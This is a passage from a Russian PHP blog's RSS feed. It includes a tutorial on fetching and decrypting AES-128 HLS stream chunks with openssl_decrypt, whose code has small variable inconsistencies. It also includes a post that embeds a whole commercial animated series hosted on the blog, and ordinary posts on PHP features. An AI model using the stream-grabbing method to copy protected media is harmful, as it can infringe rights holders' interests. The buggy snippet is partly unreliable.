</code></pre><p>Раньше в плейлисте были указаны только чанки (куски) потока, пример&nbsp;k0_chunk_1555561741998417630_0_a.ts. Именно после их объединения и и получался на выходе&nbsp;<span style="font-size: 1rem;">один большой файл. Теперь можно заметить, что появилась новая строка с указанием метода шифрования, ключа и дополнительных параметров.</span><br></p><p><span style="font-size: 1rem;"><br></span></p><pre class="line-numbers"><code class="language-textile">#EXT-X-KEY:METHOD=AES-128,URI="hlsEncryptionKey?stream_name=LhSX5NKOZDnZEBlbXQjdyq86CWWVjx-wqvhT_oQ7UJ-0HUweUwmPYb0WiocgyTwTAjZ4R7sF16l48l5LHUzx7A",IV=0x07a6ed33e15beca7f64e57e5137f7fde</code></pre><p>Алгоритм шифрования - AES-128, более подробно о нем можно почитать на&nbsp;<a href="https://habr.com/ru/post/112733/" target="_blank" style="background-color: rgb(255, 255, 255);">Хабре</a>. Нам же он понадобится для указания метода в&nbsp; функции дешифрования.</p><p>Можно было бы использовать функцию mcrypt_decrypt() или попробовать расшифровать с помощью:</p><pre class="line-numbers"><code class="language-bash">openssl aes-128 -d -in encrypted_segment.ts -out decrypted_segment.ts -nosalt -iv &lt;iv_hex&gt; -K &lt;key_hex&gt;</code></pre><p>Но mcrypt_decrypt() устарела и в PHP 7.2 была удалена. Вместо нее воспользуемся <a href="https://php.net/manual/ru/function.openssl-decrypt.php" target="_blank">openssl_decrypt().</a><br></p><p><br></p><pre class="line-numbers"><code class="language-php">openssl_decrypt ( string $data , string $method , string $key [, int $options = 0 [, string $iv = "" [, string $tag = "" [, string $aad = "" ]]]] ) : string</code></pre><ul><li><b>data</b> - Данные для расшифровки.</li><li><b>method</b> - Метод шифрования. Список доступных методов можно получить с помощью функции <a href="https://www.php.net/manual/ru/function.openssl-get-cipher-methods.php" target="_blank">openssl_get_cipher_methods()</a>.</li><li><b>key</b> - Ключ.</li><li><b>options</b> - options можно задать одной из констант: OPENSSL_RAW_DATA, OPENSSL_ZERO_PADDING.</li><li><b>iv</b> - Ненулевой инициализирующий вектор.</li><li><b>tag</b> - Тег аутентификации в режиме шифрования AEAD. Если он некорректен, то аутентификация завершится неудачей и функция вернет FALSE.</li><li><b>aad</b> - Дополнительные аутентификационные данные.</li></ul><p><br></p><pre class="line-numbers"><code class="language-php">    //обращаю ваше внимание что ненулевые вектора мы вытаскиваем без 0x, это очень важно (!)
    preg_match_all('/.*URI="(.*)".*IV=0x(.*).*/', $playlist, $cryptoData);

    $cryptoData[0]  = [...//массив ключей для каждого чанка, в моем случае он одинаков для всех];
    $cryptoData[1]  = [...//массив инициализирующих ненулевых векторов];
    $chunkList  = [...//массив с именами чанков];
    
    $key = $this-&gt;getEncriptionKey($baseUrl . $cryptoData[0][0]);<br>
    foreach ($chunkList as $countChunk =&gt; $chunk) {
        
         try {
           //дергаем шифрованный файл чанка
           $chunkResponse = $this-&gt;guzzle-&gt;get($baseUrl . $chunk,
                 ["cookies" =&gt; $cookies ])-&gt;getBody()-&gt;getContents();
         } catch (ClientException $e) {
             continue;
         }

        /**
        * алгоритм шифрования, достаем из того же плейлиста m3u8
        * но для правильной работы убран "-"
        */ 
         $method = "AES128";
         
         //"ломаем" с помощью openssl_decrypt()
         $chunkResponseDecrypt = openssl_decrypt(
             $chunkResponse,
             $method,
             $key,
             OPENSSL_RAW_DATA,
             hex2bin($cryptoData[1][$count])
         );
         //сохраняем расшифрованный чанк
         file_put_contents($tmpDir . $chunk, $chunkResponseDecrypt);
        
    }
...
//загружаем ключ для дешифровки
public function getEncriptionKey($urlKey)
{
  //я использую Guzzle Client
  $client = new Client();
  $key = $client-&gt;get($urlKey);
  return $key-&gt;getBody()-&gt;getContents();
}  </code></pre><blockquote>Обратите внимание на то, что ненулевые инициализирующие вектора мы преобразуем из шестнадцатеричных данных в двоичные, с помощью функции hex2bin(). Когда я просто пытался расшифровать без преобразования векторов, то видео было без звука, тоже важно это заметить. Второе, на что нужно обратить внимание, если не обрезать 0x в строке с вектором, то звук также может отсутствовать, да и в принципе видео, в моем случае, было "битым" в некоторых местах.&nbsp;</blockquote>
<h2>Подведем итоги</h2><ul><li>функция mcrypt_decrypt() устарела и удалена</li><li>используем openssl_decrypt()</li><li>обрезаем у ненулевых инициализирующих векторов 0x</li><li>не забываем преобразовать ненулевые вектора с помощью hex2bin()</li></ul>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/3</guid>
                <pubDate>2019-05-20T08:01:17+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Любовь, смерть и роботы - 1 сезон в FullHD]]></title>
                <link>https://sergeymukhin.com/blog/lyubov-smert-i-roboty-1-sezon-v-fullhd</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Любовь, смерть и роботы - 1 сезон в FullHD</h1><blockquote>Немного отойду от веб-разработки, но думаю вам будет интересно посмотреть антологию из смеси кибер-панка, трогательных историй и интересно</blockquote><a id="s01e01"></a><h2>1. Sonnie’s Edge - «Преимущество Сонни»</h2>
<p><video id="my-video"><source src="https://sergeymukhin.com/files/videos/ldr/s01e01-sonnies-edge.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video',{layoutControls: {fillToContainer: true}});</script>
</p>

<a id="s01e02"></a><h2>2. Three Robots - «Три робота»</h2>
<p><video id="my-video2"><source src="https://sergeymukhin.com/files/videos/ldr/s01e02-three-robots.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video2',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e03"></a><h2>3. The Witness - «Свидетель»</h2>
<p><video id="my-video3"><source src="https://sergeymukhin.com/files/videos/ldr/s01e03-the-witness.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video3',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e04"></a><h2>4. Suits - «Костюмы»</h2>
<p><video id="my-video4"><source src="https://sergeymukhin.com/files/videos/ldr/s01e04-suits.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video4',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e05"></a><h2>5. Sucker of Souls - «Пожиратель душ»</h2>
<p><video id="my-video5"><source src="https://sergeymukhin.com/files/videos/ldr/s01e05-sucker-of-souls.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video5',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e06"></a><h2>6. When The Yogurt Took Over - «Когда йогурт захватил мир»</h2>
<p><video id="my-video6"><source src="https://sergeymukhin.com/files/videos/ldr/s01e06-when-the-yogurt-took-over.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video6',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e07"></a><h2>7. Beyond the Aquila Rift - «За разломом Орла»</h2
<p><video id="my-video7"><source src="https://sergeymukhin.com/files/videos/ldr/s01e07-beyond-the-aquila-rift.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video7',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e08"></a><h2>8. Good Hunting - «Доброй охоты»</h2>
<p><video id="my-video8"><source src="https://sergeymukhin.com/files/videos/ldr/s01e08-good-hunting.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video8',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e09"></a><h2>9. The Dump - «Свалка»</h2>
<p><video id="my-video9"><source src="https://sergeymukhin.com/files/videos/ldr/s01e09-the-dump.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video9',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e10"></a><h2>10. Shape-Shifters - «Оборотни»</h2>
<p><video id="my-video10"><source src="https://sergeymukhin.com/files/videos/ldr/s01e10-shape-shifters.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video10',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e11"></a><h2>11. Helping Hand - «Рука помощи»</h2>
<p><video id="my-video11"><source src="https://sergeymukhin.com/files/videos/ldr/s01e11-helping-hand.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video11',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e12"></a><h2>12. Fish Night - «Рыбная ночь»</h2>
<p><video id="my-video12"><source src="https://sergeymukhin.com/files/videos/ldr/s01e12-fishnight.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video12',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e13"></a><h2>13. Lucky 13 - «Счастливчик 13»</h2>
<p><video id="my-video13"><source src="https://sergeymukhin.com/files/videos/ldr/s01e13-lucky-13.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video13',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e14"></a><h2>14. Zima Blue - «Зима Блю»</h2>
<p><video id="my-video14"><source src="https://sergeymukhin.com/files/videos/ldr/s01e14-zima-blue.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video14',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e15"></a><h2>15. Blindspot - «Слепая зона»</h2>
<p><video id="my-video15"><source src="https://sergeymukhin.com/files/videos/ldr/s01e15-blindspot.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video15',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e16"></a><h2>16. Ice Age - «Ледниковый период»</h2>
<p><video id="my-video16"><source src="https://sergeymukhin.com/files/videos/ldr/s01e16-ice-age.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video16',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e17"></a><h2>17. Alternate Histories - «Исторические альтернативы»</h2>
<p><video id="my-video17"><source src="https://sergeymukhin.com/files/videos/ldr/s01e17-alternate-histories.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video17',{layoutControls: {fillToContainer: true}});</script></p>

<a id="s01e18"></a><h2>18. Secret War - «Тайная война»</h2>
<p><video id="my-video18"><source src="https://sergeymukhin.com/files/videos/ldr/s01e18-the-secret-war.mp4" type="video/mp4"></video>
<script type="text/javascript">fluidPlayer('my-video18',{layoutControls: {fillToContainer: true}});</script></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/6</guid>
                <pubDate>2019-05-16T05:15:15+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP в 2019 году]]></title>
                <link>https://sergeymukhin.com/blog/php-v-2019-godu</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP в 2019 году</h1><blockquote>Спойлер: некоторые вещи все еще отстойны, так же как в принципе у почти каждого языка программирования есть свои минусы. Многие основные функции по-прежнему имеют свои непоследовательные сигнатуры методов, все еще есть запутанные параметры конфигурации</blockquote><p>Вы помните популярный пост в блоге «<a href="https://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/" target="_blank">PHP: фрактал плохого дизайна</a>»? Давным-давно когда я впервые прочитал его, я был еще начинающим веб-разработчиком, только начал работать джуном в одном довольно дурацком месте, и на меня повесили некоторые устаревшие PHP-проекты. Тогда эта статья заставила меня задуматься, должен ли я просто бросить дальше программировать на PHP и начать плотно изучать другой ЯП.</p><p>К счастью, я вскоре сменил место работы, попал в крутую компанию, где смог&nbsp;прокачаться как разработчик в целом, и, что более важно, PHP с тех пор сумел очень&nbsp;<span style="font-size: 1rem;">развиться&nbsp;</span>с 5 версии. Сегодня мой пост, обращен,&nbsp;<span style="font-size: 1rem;">наверное,</span>&nbsp;к тем людям, которые больше не программируют на PHP или застряли в старых легаси-проектах.</p><p>Конечно&nbsp;все еще есть много разработчиков, пишущих "говно-код" - потому что либо у них нет других вариантов, они должны или потому что, возможно, они не знают как это делать лучше.</p><p>Я хочу взглянуть на светлую сторону: давайте сосредоточимся на том, что изменилось, и на способах написания чистого и поддерживаемого кода на PHP. Я хочу попросить вас отложить любые предрассудки на несколько минут. После этого вы можете продолжить думать о PHP точно так же, как и раньше. Хотя, скорее всего, вы будете удивлены некоторыми улучшениями, внесенными в PHP за последние несколько лет.&nbsp;</p><h2>Краткий тезис, если "многабукаф"</h2><ul><li>PHP активно разрабатывается с новым выпуском каждый год</li><li>Производительность с эры PHP 5 выросла вдвое, если не втрое</li><li>Существует чрезвычайно активная экосистема фреймворков, пакетов и CMS</li><li>За последние несколько лет в PHP было добавлено много новых функций, и язык продолжает развиваться</li><li>Инструменты, подобные статическим анализаторам, выросли за последние годы и только продолжают расти</li></ul><h2>Немного истории</h2><p>Для краткости рассмотрим цикл выпуска релизов PHP. Сейчас мы имеем в своем распоряжении PHP 7.3, версия 7.4 ожидается в конце 2019 года. PHP 8.0 вероятней всего будет следующей версией после 7.4.</p><p>Начиная с поздних версий 5.x, основная команда старается поддерживать ежегодный цикл релизов, и преуспела в этом в течение последних четырех лет.</p><p>В целом, каждый новый выпуск активно поддерживается в течение двух лет, плюс еще один год проходит под эгидой «Только исправлений безопасности». Цель состоит в том, чтобы мотивировать разработчиков PHP оставаться в курсе как можно больше: небольшие обновления каждый год намного проще, чем, например, мажорный переход от 5.4 до 7.0.</p><p>Активный обзор временной шкалы версий PHP можно найти <a href="https://www.php.net/supported-versions.php" target="_blank">здесь</a>. Ну и наконец, PHP 5.6 была последней версией 5.x, следующей уже был PHP 7.0. Если вы хотите узнать, что случилось с PHP 6, вы можете прослушать <a href="https://www.phproundtable.com/episode/what-happened-to-php-6" target="_blank">подкаст PHP Roundtable</a>.<br></p><p>Так, ну и попробуем сейчас опровергнуть некоторые распространенные заблуждения о современном PHP.</p><h2>Производительность PHP</h2><p>В версиях 5.x производительность PHP была…, ну в лучшем случае средней. В 7.x очень большая часть ядра PHP была переписана с нуля, что привело к значительному увеличению производительности, примерно, в два-три раза. У <a href="https://kinsta.com/blog/php-benchmarks/" target="_blank" style="background-color: rgb(255, 255, 255);">Kinsta</a>, например, хороший список результатов тестирования производительности PHP на различных фреймворках.</p><p>В 7.x настолько возросла&nbsp;<span style="font-size: 1rem;">производительность</span>, что веб-приложения на PHP имеют сопоставимую ( и в некоторых случаях даже лучшую ) производительность, чем приложения на других языках. Взгляните на <a href="https://github.com/the-benchmarker/web-frameworks" target="_blank">этот обширный набор тестов</a>.</p><p>Конечно, фреймворки на PHP не будут превосходить тех же C и Rust, но они работают намного лучше, чем Rails или Django, ( нисколько не хейтю Пайтон, сам его очень люблю ) и сравнимы с ExpressJS.</p><h2>Фреймворки и экосистема</h2><p>Говоря о фреймворках: PHP это уже не CMS'ки уровня WordPress. Да и большинство CMS на PHP не являются представителем современной экосистемы.</p><p>В настоящее время, есть два крутых фреймворка: Symfony и Laravel . Конечно, есть еще и Zend, Yii, Cake, CodeIgniter и т. д. - но если вы хотите знать, как выглядит современная PHP-разработка, вам хорошо было бы познакомиться с одним из этих двух фреймворков.</p><p>Оба фреймворка имеют большую экосистему пакетов и продуктов. Начиная от административных панелей и CRM до автономных пакетов, CI для профилировщиков, многочисленных сервисов для работы с веб-сокетами, менеджеры очередей, интеграции платежных систем, слишком много, чтобы перечислить все в одном предложении.</p><p>Эти фреймворки предназначены для&nbsp; разработки своих уникальных проектов, хотя, если вам нужен простой сайт-визитка, блог или корпоративный сайт, то такие CMS, как WordPress и Joomla, конечно же вам в этом помогут, к тому же из года в год они только улучшаются.<br></p><p>Один из способов измерить текущее состояние экосистемы PHP - посмотреть на Packagist, основной репозиторий пакетов для PHP. Можно наблюдать экспоненциальный рост. С более чем 25 миллионами загрузок в день, справедливо сказать, что экосистема PHP уже не так слаба как это было раньше.</p><p>Посмотрите на этот график, в котором указано количество пакетов (и версий) с течением времени. Его также можно найти на <a href="https://packagist.org/statistics" target="_blank">веб-сайте Packagist</a> .<img src="/files/blog/2019/php-v-2019-godu-Mwi4sg.png"></p><p>Помимо фреймворков и CMS, мы также наблюдаем&nbsp;<span style="font-size: 1rem;">в последние годы&nbsp;</span>рост асинхронных фреймворков.&nbsp;Это фреймворки и серверы, написанные на PHP или других языках, которые позволяют пользователям запускать действительно асинхронный PHP. Примеры тому&nbsp;<a href="https://www.swoole.co.uk/" target="_blank">Swoole</a> , <a href="https://amphp.org/" target="_blank">Amp</a> и <a href="https://reactphp.org/" target="_blank">ReactPHP</a>.&nbsp;</p><p>С тех пор как мы углубились в асинхронный мир, такие вещи, как веб-сокеты и приложения с большим количеством операций ввода-вывода, стали действительно актуальными в мире PHP.<br></p><p>В списке внутренних рассылок - это место, где ведущие разработчики <a href="https://externals.io/message/102415#102415" target="_blank">обсуждают</a> развитие языка, - <a href="https://externals.io/message/102415#102415" target="_blank">также говорилось</a> о том, чтобы <a href="https://externals.io/message/102415#102415" target="_blank">добавить libuv</a> в ядро.&nbsp; Для тех, кто не знает, libuv - это та же библиотека, которую Node.js использует для обеспечения асинхронности.</p><h2>Сам язык</h2><p>Пока async и await не доступны, но за последние годы было сделано много улучшений для самого языка. Вот неполный список новых функций в PHP:</p><ul><li><a href="https://sergeymukhin.com/blog/korotkie-zamykaniya-v-php" target="_blank">Короткие замыкания</a></li><li>Нулевой оператор объединения</li><li><a href="https://www.php.net/manual/en/language.oop5.traits.php" target="_blank">Трейты</a></li><li><a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">Типизированные свойства</a></li><li><a href="https://wiki.php.net/rfc/argument_unpacking" target="_blank">Оператор спреда (...)</a></li><li><a href="https://wiki.php.net/rfc/jit" target="_blank">JIT-компилятор</a></li><li><a href="https://wiki.php.net/rfc/ffi" target="_blank">FFI</a></li><li><a href="https://www.php.net/manual/en/language.oop5.anonymous.php" target="_blank">Анонимные классы</a></li><li><a href="https://www.php.net/manual/en/functions.returning-values.php#functions.returning-values.type-declaration" target="_blank">Объявление возвращаемых типов</a><br></li><li><a href="https://wiki.php.net/rfc/libsodium" target="_blank">Современная криптография</a></li><li><a href="https://wiki.php.net/rfc/generators" target="_blank">Генераторы</a></li><li><a href="https://www.php.net/ChangeLog-7.php" target="_blank">Еще больше</a></li></ul><p>Если мы уже заговорили о языковых особенностях, давайте также поговорим о том, как язык развивается сегодня. Существует активная основная команда добровольцев, которые продвигают язык вперед, хотя и сообществу разрешено предлагать RFC.</p><p>Обсуждение новых функций ведется во&nbsp;<span style="font-size: 1rem;">"Внутреннем"&nbsp;</span>списке рассылок, которые&nbsp;<a href="https://externals.io/" target="_blank" style="background-color: rgb(255, 255, 255);">можно почитать</a> любому пользователю. Прежде чем добавить новую языковую функцию, необходимо провести голосование. Только RFC с большинством голосов не менее 2/3 допускается в ядро.</p><p>Вероятно, есть около 100 человек, которым разрешено голосовать, хотя вам не обязательно голосовать за каждое RFC. Членам основной команды, конечно, разрешено голосовать, они должны поддерживать кодовую базу. Помимо них, есть группа людей, которые были индивидуально выбраны из сообщества PHP. Эти люди включают в себя сопровождающих документацию PHP, авторов PHP в целом и выдающихся разработчиков в сообществе PHP.</p><p>Хотя большая часть основной разработки выполняется на добровольной основе, один из разработчиков ядра PHP, Никита Попов, недавно был нанят компанией JetBrains для работы над языком на полный рабочий день. Другим примером является фонд Linux, который недавно решил инвестировать в Zend Framework. Подобные работы и вложения гарантируют стабильность для будущего развития PHP.</p><h2>Набор инструментов</h2><p>Помимо самого ядра, наблюдается и увеличение инструментов вокруг него в последние несколько лет. На ум приходят статические анализаторы типа <a href="https://github.com/vimeo/psalm" target="_blank">Psalm</a>, а так же&nbsp;<a href="https://github.com/phan/phan" target="_blank">Phan</a> и <a href="https://github.com/phpstan/phpstan" target="_blank">PHPStan</a>,&nbsp;<span style="font-size: 1rem;">созданные Vimeo.</span>&nbsp;</p><p>Эти инструменты будут статически анализировать ваш PHP-код и сообщать о любых&nbsp;<span style="font-size: 1rem;">возможных и</span>&nbsp;типовых ошибках. В некотором смысле предоставляемые ими функциональные возможности можно сравнить с TypeScript.</p><p>Несмотря на то, что нужно полагаться на <a href="https://docs.phpdoc.org/guides/docblocks.html" target="_blank">ДокБлоки</a>, Расмус Лердорф, первоначальный создатель PHP, <a href="https://externals.io/message/101477#101592" target="_blank">упомянул идею</a> добавления механизма статического анализа к ядру.&nbsp; Данный анализ имеем много потенциала, и это огромная задача.<br></p><p>Вдохновленные сообществом JavaScript, сообщество PHP предпринимала попытки расширить синтаксис PHP в пользовательской среде. Проект с именем <a href="https://preprocess.io/" target="_blank">Pre</a> делает именно это: позволяет использовать новый синтаксис PHP, который переносится в обычный код PHP.<br></p><p>Хотя идея зарекомендовала себя в мире JavaScript, она может работать в PHP только если будет обеспечена надлежащая поддержка IDE и статического анализа. Это очень интересная идея, но она должна развиваться, прежде чем ее можно будет назвать «мейнстримом».<br></p><h2>В заключение<br></h2><p>Несмотря на все выше сказанное, не стесняйтесь думать о PHP как о дерьмовом языке. Конечно у этого языка определенно есть свои недостатки и хвосты от 20-летнего наследия, но я могу с уверенностью сказать, что мне нравится работать с ним. По своему опыту скажу, что можно создавать надежный, обслуживаемый и качественный код. Бизнес доволен конечным результатом, как и я.</p><p>Несмотря на то, что в PHP все еще есть много запутанных вещей, я бы сказал, что это отличный выбор для веб-разработки, если его использовать правильно и с умом.<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/5</guid>
                <pubDate>2019-05-11T12:38:01+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Короткие замыкания в PHP]]></title>
                <link>https://sergeymukhin.com/blog/korotkie-zamykaniya-v-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Короткие замыкания в PHP</h1><blockquote>Короткие замыкания, также называемые стрелочными функциями, являются способом написания более коротких анонимных функций в PHP. Эта полезн</blockquote><p>Вот как они выглядят:</p><p><br></p><pre class="line-numbers"><code class="language-php">// коллекция Post объектов
$posts = [/* … */];

$ids = array_map(fn($post) =&gt; $post-&gt;id, $posts);</code></pre><p>Раньше писали так:</p><p><br></p><pre class="line-numbers"><code class="language-php">$ids = array_map(function ($post) {
    return $post-&gt;id;
}, $posts);</code></pre><pre class="line-numbers"><br></pre><p>Итак, что можно сказать про короткие замыкания.<br></p><ul><li>Они начинаются с ключевого слова fn</li><li>Они доступны с PHP 7.4</li><li>Они могут иметь только одно выражение, которое является оператором return</li><li>Ключевое слово return&nbsp;можно опустить</li><li>Аргументы и возвращаемые типы могут быть подсказаны</li></ul><p>Более строго типизированный способ написания приведенного выше примера может быть таким:</p><p><br></p><pre class="line-numbers"><code class="language-php">$ids = array_map(fn(Post $post): int =&gt; $post-&gt;id, $posts);</code></pre><pre class="line-numbers"><br></pre><p>Стоит упомянуть еще пару вещей:</p><ul><li>Оператор спреда (...) разрешен</li><li>Разрешены ссылки как на аргументы, так и на возвращаемые значения.</li></ul><p>Если вы хотите вернуть значение по ссылке, следует использовать следующий синтаксис:</p><p><br></p><pre class="line-numbers"><code class="language-php">fn&amp;($x) =&gt; $x</code></pre><p>Короче говоря, короткие замыкания обеспечивают ту же функциональность, которую вы ожидаете от обычных замыканий, за исключением того, что в теле функции допускается только одно выражение.</p><h2>Нет многострочности</h2><p>Вы правильно прочитали: короткие замыкания могут иметь только одно выражение. Это означает, что они исключают в них несколько строк.</p><p>Аргументация такова: цель коротких замыканий - уменьшить многословие. fn конечно короче чем function во всех случаях. Однако Никита Попов, создатель RFC, утверждал, что если вы работаете с многострочными функциями, то с помощью коротких замыканий можно получить меньше кода.<br></p><p>В конце концов, многострочные замыкания по определению уже более многословны; поэтому возможность пропустить два ключевых слова ( function и return) не будет иметь большого значения.<br></p><p>Согласны ли вы с этим мнением, зависит от вас. Хоть, конечно, я бы мог применить однострочные замыкания в некоторых моих проектах, но есть также много многострочных, где я лично пропущу короткий синтаксис в этих случаях.<br></p><p>Хотя есть надежда: в будущем в короткие замыкания будет добавлена возможность использовать несколько строк, но это будет уже другая история и RFC.</p><h2>Значения из внешней области видимости</h2><p>Еще одно существенное различие между короткими и обычными замыканиями заключается в том, что для коротких не требуется ключевое слово&nbsp;<span style="font-size: 1rem;">use</span><span style="font-size: 1rem;">&nbsp;</span>для доступа к данным из внешней области видимости.</p><p><br></p><pre class="line-numbers"><code class="language-php">$modifier = 5;

array_map(fn($x) =&gt; $x * $modifier, $numbers);</code></pre><p>Важно отметить, что вы не можете изменять переменные из внешней области видимости. Это означает, что вы можете изменить значение переменной $modifier в пределах короткого замыкания, и это не повлияет на переменную&nbsp;<span style="font-size: 1rem;">$modifier</span>&nbsp;во внешней области видимости.</p><p>Единственное исключение, конечно, $this, которое действует точно так же, как и в обычных замыканиях:</p><p><br></p><pre class="line-numbers"><code class="language-php">array_map(fn($x) =&gt; $x * $this-&gt;modifier, $numbers);</code></pre><h2>Возможные будущие фичи&nbsp;</h2><p>Я уже упоминал о многострочных коротких замыканиях, у которых есть шанс появиться в будущем. Еще одна идея - использование короткого замыкания в классах, например для&nbsp; геттеров и сеттеров:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Post {
    private $title;
 
    fn getTitle() =&gt; $this-&gt;title;
}</code></pre><p><br></p><p>В общем, короткие замыкания являются хорошей фичей, хотя есть еще хотелки, которые можно улучшить. Самой желанной из них, вероятно, являются появление многострочных коротких замыканий.</p><p><br></p><p>UPD 05.05.2019</p><p>Кстати, разработчики фреймворка Laravel быстро отреагировали на появление коротких замыканий в PHP 7.4 и сделали их <a href="https://laravel-news.com/short-arrow-functions" target="_blank">будущую поддержку</a>, пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">// Current
$users-&gt;map(function($user) {
    return $user-&gt;first_name.' '.$user-&gt;last_name;
});

// with arrow function:
$users-&gt;map(
    fn($user) =&gt; $user-&gt;first_name.' '.$user-&gt;last_name
);</code></pre><p><br></p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/4</guid>
                <pubDate>2019-05-01T12:36:55+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Деструктуризация массива в PHP]]></title>
                <link>https://sergeymukhin.com/blog/destrukturizatsiya-massiva-v-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Деструктуризация массива в PHP</h1><blockquote>В PHP list является такой же «языковой конструкцией», как и array(). Эта языковая конструкция используется для «разложения»  массива на переменные</blockquote><p>Я никогда не видел слишком частого использования list() в "дикой природе", но он позволяет вам писать довольно интересные вещи.&nbsp;Деструктуризация не есть разрушение 😉.<br></p><h2>list или []</h2>
<p>Вот как это выглядит:</p>
<p>
</p><pre class="line-numbers"><code class="language-php">$array = [1, 2, 3]; 

//использование Oldschool:
list($a, $b, $c) = $array;

// или короткий вариант, начиная с PHP 7.1:
[$a, $b, $c] = $array;

// $a = 1
// $b = 2
// $c = 3</code></pre>
<p></p>
<p>Можно использовать list или его короткий вариант [], как вам удобно. Есть мнение, что [] это неоднозначное использование с синтаксисом сокращенного массива, и поэтому предпочитают list. Я обычно использую сокращенную версию в примерах кода.</p><p>Так что еще можно сделать с list?</p><h2>Пропустить элементы</h2>
<p>Скажем, вам нужен только третий элемент массива, первые два можно пропустить, просто не указав переменную.</p><p><br></p><pre class="line-numbers"><code class="language-php">[, , $c] = $array;

// $c = 3</code></pre><p>Также стоит обратить внимание, что list всегда начинается с индекса 0. Возьмем, к примеру, следующий массив:</p><p><br></p><pre class="line-numbers"><code class="language-php">$array = [
    1 =&gt; 'a',
    2 =&gt; 'b',
    3 =&gt; 'c',
];</code></pre><p>Значение первой переменной, которое вытащит list будет null, потому что нет элемента с индексом 0. Это может показаться недостатком, но, к счастью, имеет большие перспективы.</p><blockquote>В PHP5 list() присваивает значения начиная с самого правого значения. В PHP7 - с самого левого значения.<br>Если вы используете обычные переменные, можете не думать об этом, но, если вы используете массивы с индексами, вы ожидаете, что порядок элементов в массиве будет ровно таким, как вы его определили в list(), слева направо, но в PHP5 вы получите обратный порядок.</blockquote><p>Вообще говоря, желательно не полагаться на конкретный порядок операций, так как в будущем это поведение может быть изменено.</p><h2>Не числовые ключи</h2><p>PHP 7.1 позволяет list использовать ассоциативный массив. Это открывает много возможностей:</p><p><br></p><pre class="line-numbers"><code class="language-php">$array = [
    'a' =&gt; 1,
    'b' =&gt; 2,
    'c' =&gt; 3,
];</code></pre><p>Присвоение можно сделать так:</p><p><br></p><pre class="line-numbers"><code class="language-php">['c' =&gt; $c, 'a' =&gt; $a] = $array;</code></pre><p>Как видите, вы можете изменить порядок, какой хотите, а также полностью пропустить элементы.</p><p>Или другой пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">$person = [
    'name' =&gt; 'Sergey',
    'job' =&gt; 'Developer',
];

list('job' =&gt; $job) = $person;

echo $job; // "Developer"</code></pre><p><br></p><h2>На практике</h2><p><br></p><h3>Разбор адреса или пути файла</h3><p>Часто list применяют с такими функциями&nbsp; как parse_url() и pathinfo(). Поскольку эти функции возвращают массив с именованными параметрами, можно использовать list для извлечения нужной нам информации:</p><p><br></p><pre class="line-numbers"><code class="language-php">[   'basename' =&gt; $file,
    'dirname' =&gt; $directory,
] = pathinfo('/products/001/product-1.png');</code></pre><p>Как видно из примера, переменные не нуждаются в том же имени, что и ключ. Также обратите внимание, что разложение массива с неизвестным ключом вызовет предупреждение:</p><p><br></p><pre class="line-numbers"><code class="language-php">[  'path' =&gt; $path, 
   'query' =&gt; $query,
] = parse_url('https://sergeymukhin.com/blog');

